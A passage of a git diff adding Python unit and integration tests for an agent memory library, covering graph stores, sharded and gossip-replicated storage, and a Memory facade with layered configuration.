dhg.unregister_agent("a") + post_count = dhg.get_stats()["fact_count"] + + # Facts should be redistributed, count may change due to replication + assert post_count > 0 + + def test_stats(self): + dhg = DistributedHiveGraph("test") + dhg.register_agent("a") + stats = dhg.get_stats() + assert stats["type"] == "distributed" + assert stats["hive_id"] == "test" + assert stats["agent_count"] == 1 + + +# ============================================================================ +# Integration tests +# ============================================================================ + + +class TestIntegration: + def test_federated_groups_with_gossip(self): + """Test the full federated topology: root + 5 groups × 4 agents.""" + root = DistributedHiveGraph("root", replication_factor=2) + groups = [] + for g in range(5): + group = DistributedHiveGraph( + f"group-{g}", replication_factor=2, enable_gossip=True + ) + group.set_parent(root) + root.add_child(group) + groups.append(group) + + for a in range(4): + group.register_agent(f"agent_{g}_{a}") + + # Each group learns different facts + for g, group in enumerate(groups): + for i in range(10): + group.promote_fact( + f"agent_{g}_0", + HiveFact( + fact_id="", + content=f"Group {g} knowledge item {i} about topic {g}", + confidence=0.85, + ), + ) + + # Run gossip within groups + for group in groups: + for _ in range(3): + group.run_gossip_round() + + # Federated query should find facts across groups + results = root.query_federated("knowledge item", limit=50) + assert len(results) >= 5 # At least 1 from each group + + def test_merge_state(self): + """Test CRDT-style merge between two hives.""" + h1 = DistributedHiveGraph("h1") + h2 = DistributedHiveGraph("h2") + h1.register_agent("a") + h2.register_agent("b") + + h1.promote_fact("a", HiveFact(fact_id="", content="Fact from hive 1")) + h2.promote_fact("b", HiveFact(fact_id="", content="Fact from hive 2")) + + h1.merge_state(h2) + results = h1.query_facts("Fact", limit=10) + assert len(results) >= 2 diff --git a/tests/test_graph_store.py b/tests/test_graph_store.py new file mode 100644 index 000000000..da344f669 --- /dev/null +++ b/tests/test_graph_store.py @@ -0,0 +1,681 @@ +"""Tests for GraphStore implementations. + +Parameterized tests run against both InMemoryGraphStore and KuzuGraphStore. +DistributedGraphStore-specific tests run separately. +""" + +from __future__ import annotations + +import tempfile +from pathlib import Path +from typing import Any + +import pytest + +from amplihack.memory.graph_store import ( + EPISODIC_SCHEMA, + PROCEDURAL_SCHEMA, + SEMANTIC_SCHEMA, + SOCIAL_SCHEMA, + STRATEGIC_SCHEMA, + WORKING_SCHEMA, + GraphStore, +) +from amplihack.memory.memory_store import InMemoryGraphStore + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture() +def in_memory_store() -> InMemoryGraphStore: + store = InMemoryGraphStore() + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + store.ensure_table("episodic_memory", EPISODIC_SCHEMA) + store.ensure_table("procedural_memory", PROCEDURAL_SCHEMA) + store.ensure_table("working_memory", WORKING_SCHEMA) + store.ensure_table("strategic_memory", STRATEGIC_SCHEMA) + store.ensure_table("social_memory", SOCIAL_SCHEMA) + return store + + +@pytest.fixture() +def kuzu_store(): + """KuzuGraphStore using a temp directory.""" + pytest.importorskip("kuzu") + from amplihack.memory.kuzu_store import KuzuGraphStore + + with tempfile.TemporaryDirectory() as tmpdir: + store = KuzuGraphStore( + db_path=Path(tmpdir) / "test_db", + buffer_pool_size=32 * 1024 * 1024, + ) + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + store.ensure_table("episodic_memory", EPISODIC_SCHEMA) + store.ensure_table("procedural_memory", PROCEDURAL_SCHEMA) + store.ensure_table("working_memory", WORKING_SCHEMA) + store.ensure_table("strategic_memory", STRATEGIC_SCHEMA) + store.ensure_table("social_memory", SOCIAL_SCHEMA) + yield store + store.close() + + +def _make_semantic_node(agent: str = "agent-1", concept: str = "sky") -> dict[str, Any]: + return { + "agent_name": agent, + "concept": concept, + "content": f"The {concept} is blue", + "confidence": 0.9, + "source": "test", + "timestamp": 1234567890.0, + } + + +# --------------------------------------------------------------------------- +# Parameterized helpers — run the same tests against both backends +# --------------------------------------------------------------------------- + + +def _test_create_and_get_node(store: GraphStore) -> None: + props = _make_semantic_node() + node_id = store.create_node("semantic_memory", props) + assert node_id, "create_node must return a non-empty node_id" + + retrieved = store.get_node("semantic_memory", node_id) + assert retrieved is not None + assert retrieved["concept"] == "sky" + assert retrieved["node_id"] == node_id + + +def _test_update_node(store: GraphStore) -> None: + node_id = store.create_node("semantic_memory", _make_semantic_node()) + store.update_node("semantic_memory", node_id, {"confidence": 0.5, "source": "updated"}) + node = store.get_node("semantic_memory", node_id) + assert node is not None + assert float(node["confidence"]) == pytest.approx(0.5) + assert node["source"] == "updated" + + +def _test_delete_node(store: GraphStore) -> None: + node_id = store.create_node("semantic_memory", _make_semantic_node()) + store.delete_node("semantic_memory", node_id) + assert store.get_node("semantic_memory", node_id) is None + + +def _test_query_nodes_with_filters(store: GraphStore) -> None: + store.create_node("semantic_memory", _make_semantic_node("agent-a", "sky")) + store.create_node("semantic_memory", _make_semantic_node("agent-b", "ocean")) + store.create_node("semantic_memory", _make_semantic_node("agent-a", "forest")) + + results = store.query_nodes("semantic_memory", filters={"agent_name": "agent-a"}) + assert len(results) == 2 + for r in results: + assert r["agent_name"] == "agent-a" + + +def _test_search_nodes_keyword(store: GraphStore) -> None: + store.create_node("semantic_memory", _make_semantic_node(concept="sky")) + store.create_node("semantic_memory", _make_semantic_node(concept="ocean")) + store.create_node("semantic_memory", _make_semantic_node(concept="forest")) + + results = store.search_nodes("semantic_memory", "sky", fields=["content"]) + assert len(results) >= 1 + assert any("sky" in r.get("content", "").lower() for r in results) + + +def _test_create_and_get_edges(store: GraphStore) -> None: + store.ensure_rel_table( + "RELATED_TO", + "semantic_memory", + "semantic_memory", + schema={"weight": "DOUBLE", "relation_type": "STRING"}, + ) + id1 = store.create_node("semantic_memory", _make_semantic_node(concept="A")) + id2 = store.create_node("semantic_memory", _make_semantic_node(concept="B")) + store.create_edge( + "RELATED_TO", + "semantic_memory", id1, + "semantic_memory", id2, + {"weight": 0.8, "relation_type": "similar"}, + ) + edges = store.get_edges(id1, "RELATED_TO", direction="out") + assert len(edges) >= 1 + assert any(e.get("to_id") == id2 for e in edges) + + +def _test_delete_edge(store: GraphStore) -> None: + store.ensure_rel_table( + "RELATED_TO", + "semantic_memory", + "semantic_memory", + schema={"weight": "DOUBLE", "relation_type": "STRING"}, + ) + id1 = store.create_node("semantic_memory", _make_semantic_node(concept="X")) + id2 = store.create_node("semantic_memory", _make_semantic_node(concept="Y")) + store.create_edge( + "RELATED_TO", + "semantic_memory", id1, + "semantic_memory", id2, + {"weight": 1.0, "relation_type": "link"}, + ) + # Edge exists before deletion + edges_before = store.get_edges(id1, "RELATED_TO", direction="out") + assert any(e.get("to_id") == id2 for e in edges_before), "Edge must exist before deletion" + + store.delete_edge("RELATED_TO", id1, id2) + edges_after = store.get_edges(id1, "RELATED_TO", direction="out") + assert not any(e.get("to_id") == id2 for e in edges_after), "Edge must be gone after deletion" + + +def _test_get_edges_directions(store: GraphStore) -> None: + store.ensure_rel_table( + "RELATED_TO", + "semantic_memory", + "semantic_memory", + schema={"weight": "DOUBLE", "relation_type": "STRING"}, + ) + id1 = store.create_node("semantic_memory", _make_semantic_node(concept="src")) + id2 = store.create_node("semantic_memory", _make_semantic_node(concept="dst")) + store.create_edge( + "RELATED_TO", + "semantic_memory", id1, + "semantic_memory", id2, + {"weight": 0.5, "relation_type": "dir_test"}, + ) + + # direction='out': only edges leaving id1 + out_edges = store.get_edges(id1, "RELATED_TO", direction="out") + assert len(out_edges) >= 1 + assert all(e.get("from_id") == id1 for e in out_edges) + + # direction='in': only edges arriving at id2 + in_edges = store.get_edges(id2, "RELATED_TO", direction="in") + assert len(in_edges) >= 1 + assert all(e.get("to_id") == id2 for e in in_edges) + + # direction='both': edges where id1 or id2 appear on either side + both_edges_id1 = store.get_edges(id1, "RELATED_TO", direction="both") + assert len(both_edges_id1) >= 1 + + both_edges_id2 = store.get_edges(id2, "RELATED_TO", direction="both") + assert len(both_edges_id2) >= 1 + + +def _test_ensure_table_idempotent(store: GraphStore) -> None: + """Calling ensure_table twice must not raise.""" + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + + +def _test_cognitive_memory_types(store: GraphStore) -> None: + """Can create and retrieve all 6 cognitive memory node types.""" + # Semantic + sem_id = store.create_node("semantic_memory", { + "agent_name": "a", "concept": "gravity", "content": "objects fall", + "confidence": 1.0, "source": "physics", "timestamp": 0.0, + }) + assert store.get_node("semantic_memory", sem_id) is not None + + # Episodic + epi_id = store.create_node("episodic_memory", { + "agent_name": "a", "event_description": "ran a test", + "context": "ci", "temporal_index": 1, "consolidated": False, + }) + assert store.get_node("episodic_memory", epi_id) is not None + + # Procedural + proc_id = store.create_node("procedural_memory", { + "agent_name": "a", "skill_name": "typing", + "steps": "1. press key", "success_rate": 0.99, "last_used": 0.0, + }) + assert store.get_node("procedural_memory", proc_id) is not None + + # Working + work_id = store.create_node("working_memory", { + "agent_name": "a", "content": "task at hand", + "priority": 1, "expires_at": 9999.0, + }) + assert store.get_node("working_memory", work_id) is not None + + # Strategic + strat_id = store.create_node("strategic_memory", { + "agent_name": "a", "goal": "pass tests", + "rationale": "quality", "status": "active", "created_at": 0.0, + }) + assert store.get_node("strategic_memory", strat_id) is not None + + # Social + soc_id = store.create_node("social_memory", { + "agent_name": "a", "entity_name": "Bob", + "relationship_type": "colleague", "trust_score": 0.8, "last_interaction": 0.0, + }) + assert store.get_node("social_memory", soc_id) is not None + + +# --------------------------------------------------------------------------- +# InMemory parameterized tests +# --------------------------------------------------------------------------- + + +class TestInMemoryGraphStore: + def test_create_and_get_node(self, in_memory_store): + _test_create_and_get_node(in_memory_store) + + def test_update_node(self, in_memory_store): + _test_update_node(in_memory_store) + + def test_delete_node(self, in_memory_store): + _test_delete_node(in_memory_store) + + def test_query_nodes_with_filters(self, in_memory_store): + _test_query_nodes_with_filters(in_memory_store) + + def test_search_nodes_keyword(self, in_memory_store): + _test_search_nodes_keyword(in_memory_store) + + def test_create_and_get_edges(self, in_memory_store): + _test_create_and_get_edges(in_memory_store) + + def test_delete_edge(self, in_memory_store): + _test_delete_edge(in_memory_store) + + def test_get_edges_directions(self, in_memory_store): + _test_get_edges_directions(in_memory_store) + + def test_ensure_table_idempotent(self, in_memory_store): + _test_ensure_table_idempotent(in_memory_store) + + def test_cognitive_memory_types(self, in_memory_store): + _test_cognitive_memory_types(in_memory_store) + + +# --------------------------------------------------------------------------- +# Kuzu parameterized tests +# --------------------------------------------------------------------------- + + +class TestKuzuGraphStore: + def test_create_and_get_node(self, kuzu_store): + _test_create_and_get_node(kuzu_store) + + def test_update_node(self, kuzu_store): + _test_update_node(kuzu_store) + + def test_delete_node(self, kuzu_store): + _test_delete_node(kuzu_store) + + def test_query_nodes_with_filters(self, kuzu_store): + _test_query_nodes_with_filters(kuzu_store) + + def test_search_nodes_keyword(self, kuzu_store): + _test_search_nodes_keyword(kuzu_store) + + def test_create_and_get_edges(self, kuzu_store): + _test_create_and_get_edges(kuzu_store) + + def test_delete_edge(self, kuzu_store): + _test_delete_edge(kuzu_store) + + def test_get_edges_directions(self, kuzu_store): + _test_get_edges_directions(kuzu_store) + + def test_ensure_table_idempotent(self, kuzu_store): + _test_ensure_table_idempotent(kuzu_store) + + def test_cognitive_memory_types(self, kuzu_store): + _test_cognitive_memory_types(kuzu_store) + + +# --------------------------------------------------------------------------- +# DistributedGraphStore-specific tests +# --------------------------------------------------------------------------- + + +@pytest.fixture() +def distributed_store(): + from amplihack.memory.distributed_store import DistributedGraphStore + from amplihack.memory.memory_store import InMemoryGraphStore + + store = DistributedGraphStore( + replication_factor=2, + query_fanout=5, + shard_factory=InMemoryGraphStore, + ) + for i in range(4): + store.add_agent(f"agent-{i}") + + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + store.ensure_rel_table( + "RELATED_TO", + "semantic_memory", + "semantic_memory", + schema={"weight": "DOUBLE", "relation_type": "STRING"}, + ) + return store + + +class TestDistributedGraphStore: + def test_sharding_across_agents(self, distributed_store): + """Nodes are replicated across multiple shard agents.""" + node_id = distributed_store.create_node("semantic_memory", { + "agent_name": "test", "concept": "dist", "content": "distributed content", + "confidence": 0.9, "source": "test", "timestamp": 0.0, + }) + + # Node should be retrievable + node = distributed_store.get_node("semantic_memory", node_id) + assert node is not None + assert node["concept"] == "dist" + + # Node should be on at least 2 shards (replication_factor=2) + shard_count = 0 + for shard in distributed_store._all_shards(): + result = shard.store.get_node("semantic_memory", node_id) + if result is not None: + shard_count += 1 + assert shard_count >= 1, "Node must be on at least one shard" + + def test_search_routes_to_correct_shards(self, distributed_store): + """search_nodes returns matching results from sharded stores.""" + distributed_store.create_node("semantic_memory", { + "agent_name": "a", "concept": "elephant", + "content": "elephants live in Africa", + "confidence": 0.9, "source": "wiki", "timestamp": 0.0, + }) + distributed_store.create_node("semantic_memory", { + "agent_name": "a", "concept": "whale", + "content": "whales live in oceans", + "confidence": 0.9, "source": "wiki", "timestamp": 0.0, + }) + + results = distributed_store.search_nodes( + "semantic_memory", "elephant", fields=["content"] + ) + assert any("elephant" in r.get("content", "").lower() for r in results), ( + f"Expected 'elephant' in results, got: {results}" + ) + + def test_replication(self, distributed_store): + """With replication_factor=2, each node is stored on >=1 shard.""" + node_ids = [] + for i in range(5): + nid = distributed_store.create_node("semantic_memory", { + "agent_name": "repl", "concept": f"concept-{i}", + "content": f"content number {i}", + "confidence": 0.8, "source": "test", "timestamp": float(i), + }) + node_ids.append(nid) + + # Each node should be findable + for nid in node_ids: + node = distributed_store.get_node("semantic_memory", nid) + assert node is not None, f"Node {nid} should be retrievable" + + # query_nodes should return all (with dedup) + all_nodes = distributed_store.query_nodes("semantic_memory", limit=100) + retrieved_ids = {n["node_id"] for n in all_nodes} + for nid in node_ids: + assert nid in retrieved_ids, f"Node {nid} missing from query_nodes results" + + +# --------------------------------------------------------------------------- +# Export / import and gossip tests +# --------------------------------------------------------------------------- + + +def test_export_import_nodes(): + """Export nodes from one store and import into a fresh store.""" + store = InMemoryGraphStore() + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + id1 = store.create_node("semantic_memory", _make_semantic_node("a", "sky")) + id2 = store.create_node("semantic_memory", _make_semantic_node("b", "sea")) + + exported = store.export_nodes() + assert len(exported) == 2 + + fresh = InMemoryGraphStore() + fresh.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + count = fresh.import_nodes(exported) + assert count == 2 + + node = fresh.get_node("semantic_memory", id1) + assert node is not None + assert node["concept"] == "sky" + + node2 = fresh.get_node("semantic_memory", id2) + assert node2 is not None + assert node2["concept"] == "sea" + + # Re-importing same nodes should be skipped (dedup) + count2 = fresh.import_nodes(exported) + assert count2 == 0 + + +def test_export_import_edges(): + """Export edges from one store and import into a fresh store.""" + store = InMemoryGraphStore() + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + store.ensure_rel_table("RELATED_TO", "semantic_memory", "semantic_memory") + + id1 = store.create_node("semantic_memory", _make_semantic_node("a", "A")) + id2 = store.create_node("semantic_memory", _make_semantic_node("a", "B")) + store.create_edge("RELATED_TO", "semantic_memory", id1, "semantic_memory", id2) + + edges = store.export_edges() + assert len(edges) == 1 + assert edges[0][0] == "RELATED_TO" # rel_type + assert edges[0][1] == "semantic_memory" # from_table + assert edges[0][2] == id1 # from_id + assert edges[0][3] == "semantic_memory" # to_table + assert edges[0][4] == id2 # to_id + + fresh = InMemoryGraphStore() + fresh.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + fresh.import_nodes(store.export_nodes()) + count = fresh.import_edges(edges) + assert count == 1 + + fresh_edges = fresh.get_edges(id1, "RELATED_TO", direction="out") + assert len(fresh_edges) >= 1 + assert any(e.get("to_id") == id2 for e in fresh_edges) + + # Re-importing same edge should be skipped + count2 = fresh.import_edges(edges) + assert count2 == 0 + + +def test_gossip_full_nodes(): + """Gossip propagates full node data between shards.""" + from amplihack.memory.distributed_store import DistributedGraphStore + + store = DistributedGraphStore( + replication_factor=1, + query_fanout=5, + shard_factory=InMemoryGraphStore, + ) + store.add_agent("agent-0") + store.add_agent("agent-1") + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + + # Create a node — with replication_factor=1 it lands on exactly 1 shard + nid = store.create_node("semantic_memory", _make_semantic_node("a", "gossip-test")) + + # Confirm it's on exactly 1 shard initially + shards_with_node = [ + s for s in store._all_shards() + if s.store.get_node("semantic_memory", nid) is not None + ] + assert len(shards_with_node) == 1 + + # Run gossip — the other shard should receive the node + store.run_gossip_round() + + shards_after = [ + s for s in store._all_shards() + if s.store.get_node("semantic_memory", nid) is not None + ] + assert len(shards_after) == 2, "After gossip, both shards should have the node" + + # Verify properties are intact + for shard in shards_after: + node = shard.store.get_node("semantic_memory", nid) + assert node["concept"] == "gossip-test" + + +def test_gossip_edges(): + """Gossip propagates edges between shards.""" + from amplihack.memory.distributed_store import DistributedGraphStore + + store = DistributedGraphStore( + replication_factor=1, + query_fanout=5, + shard_factory=InMemoryGraphStore, + ) + store.add_agent("agent-0") + store.add_agent("agent-1") + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + store.ensure_rel_table("RELATED_TO", "semantic_memory", "semantic_memory") + + id1 = store.create_node("semantic_memory", _make_semantic_node("a", "X")) + id2 = store.create_node("semantic_memory", _make_semantic_node("a", "Y")) + store.create_edge("RELATED_TO", "semantic_memory", id1, "semantic_memory", id2) + + # Run gossip twice to cover both directions + store.run_gossip_round() + store.run_gossip_round() + + # Both shards should now have both nodes + for shard in store._all_shards(): + for nid in [id1, id2]: + assert shard.store.get_node("semantic_memory", nid) is not None + + # Edge should be present via the distributed store + all_edges = store.get_edges(id1, "RELATED_TO", direction="out") + assert len(all_edges) >= 1 + assert any(e.get("to_id") == id2 for e in all_edges) + + +def test_rebuild_on_join(): + """New agent joining with existing data triggers shard rebuild.""" + from amplihack.memory.distributed_store import DistributedGraphStore + + store = DistributedGraphStore( + replication_factor=1, + query_fanout=5, + shard_factory=InMemoryGraphStore, + ) + store.add_agent("agent-0") + store.add_agent("agent-1") + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + + # Store several nodes across existing agents + for i in range(6): + store.create_node("semantic_memory", _make_semantic_node("a", f"concept-{i}")) + + # With replication_factor=1, total placements == 6 + total_before = sum( + len(s.store.get_all_node_ids()) for s in store._all_shards() + ) + assert total_before == 6, f"Expected 6 total node placements, got {total_before}" + + # Add a new agent — should trigger rebuild_shard + store.add_agent("agent-new") + + new_shard = next(s for s in store._all_shards() if s.agent_id == "agent-new") + assert len(new_shard.store.get_all_node_ids()) > 0, ( + "New agent shard should be populated via rebuild_shard" + ) + + +def test_per_fact_embedding_index(): + """DistributedGraphStore maintains a per-fact embedding index (issue #2893).""" + from amplihack.memory.distributed_store import DistributedGraphStore + + call_count = [0] + + def embed(text: str) -> list[float]: + call_count[0] += 1 + h = abs(hash(text)) % 1000 + return [float(h), float(h + 1), float(h + 2)] + + store = DistributedGraphStore( + replication_factor=1, + shard_factory=InMemoryGraphStore, + embedding_generator=embed, + ) + store.add_agent("agent-0") + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + + nid = store.create_node("semantic_memory", _make_semantic_node("a", "fact-embed")) + + # Embedding should be indexed per-fact + emb = store.get_fact_embedding(nid) + assert emb is not None, "Per-fact embedding must be stored in the index" + assert len(emb) == 3 + + # Node without embedding_generator has no index entry + store2 = DistributedGraphStore(replication_factor=1, shard_factory=InMemoryGraphStore) + store2.add_agent("agent-0") + store2.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + nid2 = store2.create_node("semantic_memory", _make_semantic_node("b", "no-embed")) + assert store2.get_fact_embedding(nid2) is None + + +def test_distributed_with_kuzu_shards(): + """DistributedGraphStore with kuzu shard_backend persists nodes across reopen.""" + pytest.importorskip("kuzu") + from amplihack.memory.distributed_store import DistributedGraphStore + from amplihack.memory.graph_store import SEMANTIC_SCHEMA + + with tempfile.TemporaryDirectory() as tmpdir: + node_ids = [] + + # --- First open: create store, add 3 agents, store SemanticMemory nodes --- + store = DistributedGraphStore( + replication_factor=1, + query_fanout=5, + shard_backend="kuzu", + storage_path=tmpdir, + kuzu_buffer_pool_mb=32, + ) + for i in range(3): + store.add_agent(f"agent-{i}") + + store.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + + for i in range(3): + nid = store.create_node("semantic_memory", { + "agent_name": f"agent-{i}", + "concept": f"concept-{i}", + "content": f"persisted fact number {i}", + "confidence": 0.9, + "source": "kuzu-test", + "timestamp": float(i), + }) + node_ids.append(nid) + + store.close() + + # --- Second open: reopen from same paths, verify nodes survived --- + store2 = DistributedGraphStore( + replication_factor=1, + query_fanout=5, + shard_backend="kuzu", + storage_path=tmpdir, + kuzu_buffer_pool_mb=32, + ) + for i in range(3): + store2.add_agent(f"agent-{i}") + + store2.ensure_table("semantic_memory", SEMANTIC_SCHEMA) + + for nid in node_ids: + node = store2.get_node("semantic_memory", nid) + assert node is not None, f"Node {nid} should survive store reopen" + assert "persisted fact" in node.get("content", ""), ( + f"Node content not preserved: {node}" + ) + + store2.close() diff --git a/tests/test_memory_facade.py b/tests/test_memory_facade.py new file mode 100644 index 000000000..6391dd8b8 --- /dev/null +++ b/tests/test_memory_facade.py @@ -0,0 +1,441 @@ +"""Tests for the Memory facade and MemoryConfig. + +Tests cover: +- Memory with defaults (single topology, cognitive backend) +- remember() stores facts, recall() finds them +- Config from env vars (mock os.environ) +- Config from YAML file (tempfile) +- Config priority: kwargs > env > file > defaults +- Distributed topology creates DistributedHiveGraph +- Multiple Memory instances share a hive (distributed) +- close() cleans up +- stats() returns data +""" + +from __future__ import annotations + +import os +import tempfile +from pathlib import Path +from unittest.mock import MagicMock, patch + +import pytest + +from amplihack.memory import Memory, MemoryConfig + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _make_mock_adapter(): + """Create a simple mock adapter that mimics in-memory remember/recall.""" + facts: list[str] = [] + + adapter = MagicMock() + + def store_fact(concept, content): + if content not in facts: + facts.append(content) + + def search(question, limit=20): + q_words = set(question.lower().split()) + scored: list[tuple[int, dict]] = [] + for fact in facts: + hits = sum(1 for w in q_words if w in fact.lower()) + if hits > 0: + scored.append((hits, {"content": fact})) + scored.sort(key=lambda x: x[0], reverse=True) + return [item for _, item in scored[:limit]] + + adapter.store_fact = store_fact + adapter.search = search + adapter.close = MagicMock() + adapter._facts = facts # expose for stats tests + return adapter + + +def _cognitive_memory(agent_name: str = "test-agent", **kwargs) -> Memory: + """Create a Memory with backend=cognitive, using a mock adapter for tests.""" + mock_adapter = _make_mock_adapter() + with patch.object(Memory, "_build_cognitive", return_value=mock_adapter): + return Memory(agent_name, backend="cognitive", **kwargs) + + +# --------------------------------------------------------------------------- +# MemoryConfig tests +# --------------------------------------------------------------------------- + + +class TestMemoryConfigDefaults: + def test_default_backend(self): + cfg = MemoryConfig() + assert cfg.backend == "cognitive" + + def test_default_topology(self): + cfg = MemoryConfig() + assert cfg.topology == "single" + + def test_default_kuzu_buffer(self): + cfg = MemoryConfig() + assert cfg.kuzu_buffer_pool_mb == 256 + + def test_default_replication_factor(self): + cfg = MemoryConfig() + assert cfg.replication_factor == 3 + + def test_default_query_fanout(self): + cfg = MemoryConfig() + assert cfg.query_fanout == 5 + + def test_default_gossip_enabled(self): + cfg = MemoryConfig() + assert cfg.gossip_enabled is True + + def test_default_gossip_rounds(self): + cfg = MemoryConfig() + assert cfg.gossip_rounds == 3 + + +class TestMemoryConfigFromEnv: + def test_backend_from_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_BACKEND": "hierarchical"}): + cfg = MemoryConfig.from_env() + assert cfg.backend == "hierarchical" + + def test_topology_from_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_TOPOLOGY": "distributed"}): + cfg = MemoryConfig.from_env() + assert cfg.topology == "distributed" + + def test_storage_path_from_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_STORAGE_PATH": "/custom/path"}): + cfg = MemoryConfig.from_env() + assert cfg.storage_path == "/custom/path" + + def test_kuzu_buffer_from_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_KUZU_BUFFER_MB": "512"}): + cfg = MemoryConfig.from_env() + assert cfg.kuzu_buffer_pool_mb == 512 + + def test_replication_from_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_REPLICATION": "5"}): + cfg = MemoryConfig.from_env() + assert cfg.replication_factor == 5 + + def test_fanout_from_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_QUERY_FANOUT": "10"}): + cfg = MemoryConfig.from_env() + assert cfg.query_fanout == 10 + + def test_gossip_true_from_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_GOSSIP": "true"}): + cfg = MemoryConfig.from_env() + assert cfg.gossip_enabled is True + + def test_gossip_false_from_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_GOSSIP": "false"}): + cfg = MemoryConfig.from_env() + assert cfg.gossip_enabled is False + + def test_gossip_rounds_from_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_GOSSIP_ROUNDS": "7"}): + cfg = MemoryConfig.from_env() + assert cfg.gossip_rounds == 7 + + def test_missing_env_vars_use_defaults(self): + clean = {k: v for k, v in os.environ.items() if not k.startswith("AMPLIHACK_MEMORY")} + with patch.dict(os.environ, clean, clear=True): + cfg = MemoryConfig.from_env() + assert cfg.backend == "cognitive" + assert cfg.topology == "single" + + +class TestMemoryConfigFromFile: + def test_nonexistent_file_returns_defaults(self): + cfg = MemoryConfig.from_file("/nonexistent/path/memory.yaml") + assert cfg.backend == "cognitive" + + def test_yaml_file_loaded(self): + yaml_content = "backend: hierarchical\ntopology: distributed\nkuzu_buffer_pool_mb: 128\n" + with tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) as f: + f.write(yaml_content) + tmp_path = f.name + try: + cfg = MemoryConfig.from_file(tmp_path) + assert cfg.backend == "hierarchical" + assert cfg.topology == "distributed" + assert cfg.kuzu_buffer_pool_mb == 128 + finally: + os.unlink(tmp_path) + + def test_yaml_gossip_bool(self): + yaml_content = "gossip_enabled: false\n" + with tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) as f: + f.write(yaml_content) + tmp_path = f.name + try: + cfg = MemoryConfig.from_file(tmp_path) + assert cfg.gossip_enabled is False + finally: + os.unlink(tmp_path) + + +class TestMemoryConfigResolvePriority: + """kwargs > env > file > defaults.""" + + def test_kwargs_override_env(self): + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_BACKEND": "hierarchical"}): + cfg = MemoryConfig.resolve("agent", backend="cognitive") + assert cfg.backend == "cognitive" + + def test_env_overrides_file(self): + yaml_content = "backend: hierarchical\n" + with tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) as f: + f.write(yaml_content) + tmp_path = f.name + try: + with patch.dict(os.environ, {"AMPLIHACK_MEMORY_BACKEND": "cognitive"}): + cfg = MemoryConfig.resolve("agent", config_file=tmp_path) + assert cfg.backend == "cognitive" + finally: + os.unlink(tmp_path) + + def test_file_overrides_defaults(self): + yaml_content = "kuzu_buffer_pool_mb: 64\n" + with tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) as f: + f.write(yaml_content) + tmp_path = f.name + try: + cfg = MemoryConfig.resolve("agent", config_file=tmp_path) + assert cfg.kuzu_buffer_pool_mb == 64 + finally: + os.unlink(tmp_path) + + def test_default_storage_path_derived_from_agent_name(self): + cfg = MemoryConfig.resolve("my-agent") + assert "my-agent" in cfg.storage_path + + def test_explicit_storage_path_wins(self): + cfg = MemoryConfig.resolve("agent", storage_path="/custom/store") + assert cfg.storage_path == "/custom/store" + + +# --------------------------------------------------------------------------- +# Memory facade — cognitive backend (mocked adapter for fast tests) +# --------------------------------------------------------------------------- + + +class TestMemoryDefaults: + def test_creates_with_defaults(self): + mem = _cognitive_memory() + assert mem is not None + mem.close() + + def test_stats_returns_dict(self): + mem = _cognitive_memory() + s = mem.stats() + assert isinstance(s, dict) + assert "agent_name" in s + mem.close() + + def test_stats_backend_field(self): + mem = _cognitive_memory("stats-agent") + s = mem.stats() + assert s["backend"] == "cognitive" + assert s["agent_name"] == "stats-agent" + mem.close() + + +class TestRememberRecall: + def test_remember_and_recall_basic(self): + mem = _cognitive_memory() + mem.remember("The sky is blue") + results = mem.recall("sky colour") + assert any("sky" in r.lower() for r in results) + mem.close() + + def test_recall_returns_list(self): + mem = _cognitive_memory() + results = mem.recall("anything") + assert isinstance(results, list) + mem.close() + + def test_recall_empty_query_returns_empty(self): + mem = _cognitive_memory() + mem.remember("some fact") + assert mem.recall("") == [] + mem.close() + + def test_remember_empty_content_is_ignored(self): + mem = _cognitive_memory() + mem.remember("") + mem.remember(" ") + assert mem.recall("fact") == [] + mem.close() + + def test_multiple_facts_recalled(self): + mem = _cognitive_memory() + mem.remember("Python is a programming language") + mem.remember("Python uses indentation for blocks") + results = mem.recall("Python", limit=5) + assert len(results) >= 1 + mem.close() + + def test_recall_limit_respected(self): + mem = _cognitive_memory() + for i in range(10): + mem.remember(f"fact number {i} about topic") + results = mem.recall("fact topic", limit=3) + assert len(results) <= 3 + mem.close() + + def test_deduplication(self): + mem = _cognitive_memory() + mem.remember("unique fact") + mem.remember("unique fact") # duplicate + results = mem.recall("unique fact") + # Should appear only once + assert results.count("unique fact") == 1 + mem.close() + + +class TestContextManager: + def test_context_manager(self): + with _cognitive_memory() as mem: + mem.remember("inside context") + results = mem.recall("context") + assert any("context" in r for r in results) + + def test_close_is_idempotent(self): + mem = _cognitive_memory() + mem.close() + mem.close() # should not raise + + +class TestClose: + def test_close_runs_without_error(self): + mem = _cognitive_memory() + mem.close() + + def test_stats_works_before_close(self): + mem = _cognitive_memory() + s = mem.stats() + assert 